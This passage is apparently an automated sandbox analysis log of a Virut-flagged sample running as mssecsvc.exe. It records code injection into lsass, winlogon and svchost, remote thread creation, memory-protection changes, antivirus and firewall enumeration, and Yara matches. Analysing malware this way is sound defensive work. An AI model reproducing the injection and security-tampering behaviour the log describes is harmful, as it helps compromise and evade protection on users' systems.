              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mvatVt target: C:\Windows\System32\winlogon.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mvatVt target: C:\Windows\System32\lsass.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mvatVt target: C:\Windows\System32\fontdrvhost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mvatVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mvatVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mvatVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mvatVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mvatVt target: C:\Windows\System32\fontdrvhost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mvatVt target: C:\Windows\System32\dwm.exe protection: execute and read and writeJump to behavior
              Changes memory attributes in foreign processes to executable or writable
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774C9A50 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774C9830 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774CA040 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774C99D0 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774CA120 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774C9670 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774C9A50 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774C9830 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774CA040 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774C99D0 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774CA120 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774C9670 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774C9A50 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774C9830 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774CA040 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774C99D0 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774CA120 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774C9670 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774C9A50 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774C9830 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774CA040 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774C99D0 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774CA120 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774C9670 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774C9A50 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774C9830 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774CA040 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774C99D0 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774CA120 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774C9670 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774C9A50 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774C9830 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774CA040 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774C99D0 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774CA120 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774C9670 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774C9A50 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774C9830 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774CA040 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774C99D0 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774CA120 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774C9670 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774C9A50 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774C9830 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774CA040 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774C99D0 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774CA120 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774C9670 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774C9A50 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774C9830 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774CA040 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774C99D0 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774CA120 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774C9670 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774C9A50 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774C9830 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774CA040 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774C99D0 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774CA120 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774C9670 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774C9A50 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774C9830 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774CA040 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774C99D0 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774CA120 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 774C9670 protect: page execute and read and writeJump to behavior
              Creates a thread in another existing process (thread injection)
              Source: C:\Windows\mssecsvc.exeThread created: unknown EIP: 7FFF3BD0Jump to behavior
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\7Qu8thR7WW.dll",#1Jump to behavior
              Source: dwm.exe, 0000001A.00000002.847360748.0000026F1CEFF000.00000004.00000001.00020000.00000000.sdmp, dwm.exe, 0000001A.00000000.365472090.0000026F1CEFF000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Program Manager
              Source: winlogon.exe, 0000000A.00000000.298795421.000001593FF70000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 0000000A.00000002.824263007.000001593FF70000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 0000000A.00000000.308365958.000001593FF70000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Shell_TrayWnd
              Source: winlogon.exe, 0000000A.00000000.298795421.000001593FF70000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 0000000A.00000002.824263007.000001593FF70000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 0000000A.00000000.308365958.000001593FF70000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
              Source: winlogon.exe, 0000000A.00000000.298795421.000001593FF70000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 0000000A.00000002.824263007.000001593FF70000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 0000000A.00000000.308365958.000001593FF70000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
              Source: winlogon.exe, 0000000A.00000000.298795421.000001593FF70000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 0000000A.00000002.824263007.000001593FF70000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 0000000A.00000000.308365958.000001593FF70000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: WProgram Manager
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformationJump to behavior
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformationJump to behavior
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformationJump to behavior
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformationJump to behavior
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformationJump to behavior
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformationJump to behavior
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformationJump to behavior
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformationJump to behavior
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00A83826 GetSystemTime,Sleep,InternetGetConnectedState,gethostbyname,socket,ioctlsocket,connect,Sleep,closesocket,4_2_00A83826
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00A8042D GetModuleHandleA,GetVersion,VirtualAlloc,FindCloseChangeNotification,SetProcessAffinityMask,NtCreateFile,NtOpenFile,NtCreateProcess,NtCreateProcessEx,NtCreateUserProcess,NtQueryInformationProcess,lstrcpyW,lstrcpyW,lstrcatW,NtMapViewOfSection,NtOpenProcessToken,CreateToolhelp32Snapshot,Process32First,Process32Next,OpenProcess,CreateRemoteThread,FindCloseChangeNotification,4_2_00A8042D

              Lowering of HIPS / PFW / Operating System Security Settings

              barindex
              Changes security center settings (notifications, updates, antivirus, firewall)
              Source: C:\Windows\System32\svchost.exeKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center cvalJump to behavior
              Source: C:\Windows\System32\svchost.exeWMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA &apos;AntiVirusProduct&apos; OR TargetInstance ISA &apos;FirewallProduct&apos; OR TargetInstance ISA &apos;AntiSpywareProduct&apos;
              Source: C:\Windows\System32\svchost.exeWMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : FirewallProduct
              Source: C:\Windows\System32\svchost.exeWMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiVirusProduct
              Source: C:\Windows\System32\svchost.exeWMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiSpywareProduct
              Source: svchost.exe, 0000001E.00000000.393149742.00000219BF800000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.825796399.00000219BF800000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: "@C:\Program Files\Windows Defender\MsMpEng.exe
              Source: svchost.exe, 0000001E.00000002.834616286.00000219BFEBB000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.824368000.00000219BEFA6000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001E.00000000.393093591.00000219BEFF5000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: (@\device\harddiskvolume4\program files\windows defender\msmpeng.exe
              Source: svchost.exe, 00000027.00000002.829724659.000001B047BF0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \BullGuard Ltd\BullGuard\BullGuard.exe
              Source: svchost.exe, 0000001E.00000002.829845507.00000219BF950000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001E.00000000.394646117.00000219BF950000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: (@C:\Program Files\Windows Defender\MsMpEng.exe
              Source: svchost.exe, 0000001E.00000002.829845507.00000219BF950000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001E.00000000.394646117.00000219BF950000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: @C:\Program Files\Windows Defender\MsMpEng.exe
              Source: svchost.exe, 00000011.00000002.815656836.0000029AC7041000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: (@\REGISTRY\USER\S-1-5-19ws Defender\MsMpeng.exe
              Source: svchost.exe, 00000011.00000002.815320252.0000029AC7036000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000011.00000002.816580633.0000029AC7102000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
              Source: svchost.exe, 0000001E.00000000.393149742.00000219BF800000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.825796399.00000219BF800000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: &@C:\Program Files\Windows Defender\MsMpEng.exe

              Stealing of Sensitive Information

              barindex
              Yara detected Virut
              Source: Yara matchFile source: 16.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000019.00000000.346833993.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001A.00000000.349657832.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000000.297048245.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000000.306825329.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000021.00000000.411578553.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000020.00000000.402686306.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001F.00000000.400526371.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000000.309780415.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001D.00000000.386641946.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000018.00000000.343018795.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000019.00000000.346816136.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000000.306808092.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000002.810424009.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.386970437.0000000000BD0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000014.00000000.322271007.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000028.00000000.429886931.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000002.810637032.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000002.557785297.0000000000A6B000.00000040.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000002.810772522.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000022.00000002.810637901.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000000.309797801.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001A.00000000.349997969.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000012.00000000.323169252.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000006.00000000.537571247.000000007FFF0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000012.00000000.310428010.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000014.00000000.324242609.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000006.00000002.810392224.000000007FFF0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000014.00000002.810643993.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000018.00000002.810466263.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000017.00000002.810464122.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000019.00000000.348006213.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000000.304104475.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000019.00000002.810769122.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000019.00000000.347977400.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000026.00000002.810462526.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.810419995.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001A.00000002.810783173.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000021.00000002.810557775.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001A.00000002.810556890.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001A.00000000.350022847.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001E.00000002.810557664.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000000.326240016.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000017.00000000.336396573.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.386870817.0000000000A6B000.00000040.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000017.00000000.336462148.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000000.326432451.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000028.00000002.810637970.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000018.00000002.810720445.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000002.810391674.000000007FFF0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000012.00000002.810464868.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000002.558930519.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000012.00000000.323178260.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000002.557802170.0000000000A80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000026.00000000.418114506.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001D.00000002.810556507.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000000.324133707.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001F.00000002.810644718.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
